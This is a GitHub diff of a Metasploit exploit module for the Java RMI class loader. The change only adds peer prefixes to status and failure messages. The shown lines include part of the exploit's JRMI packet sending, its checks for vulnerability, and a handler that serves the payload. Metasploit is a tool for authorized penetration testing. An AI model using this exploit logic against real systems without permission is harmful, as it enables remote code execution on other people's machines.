File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/exploits/multi/misc Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -123,7 +123,7 @@ def primer
123
123
packet [ idx , find_me . length ] = len + new_url
124
124
125
125
# write out minimal header and packet
126
- print_status ( "Connected and sending request for #{ new_url } " )
126
+ print_status ( "#{ peer } - Connected and sending request for #{ new_url } " )
127
127
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
128
128
sock . put ( "JRMI" + [ 2 , 0x4b , 0 , 0 ] . pack ( "nCnN" ) + packet )
129
129
@@ -138,14 +138,14 @@ def primer
138
138
disconnect
139
139
140
140
if buf =~ /RMI class loader disabled/
141
- fail_with ( Failure ::NotVulnerable , "The RMI class loader is disabled" )
141
+ fail_with ( Failure ::NotVulnerable , "#{ peer } - The RMI class loader is disabled" )
142
142
end
143
143
144
144
if buf =~ /java.lang.ClassNotFoundException/
145
- fail_with ( Failure ::Unknown , "The RMI class loader couldn't find the payload" )
145
+ fail_with ( Failure ::Unknown , "#{ peer } - The RMI class loader couldn't find the payload" )
146
146
end
147
147
148
- print_good ( "Target #{ rhost } : #{ rport } may be exploitable..." )
148
+ print_good ( "#{ peer } - Target may be exploitable..." )
149
149
end
150
150
151
151
def on_request_uri ( cli , request )
You can’t perform that action at this time.
0 commit comments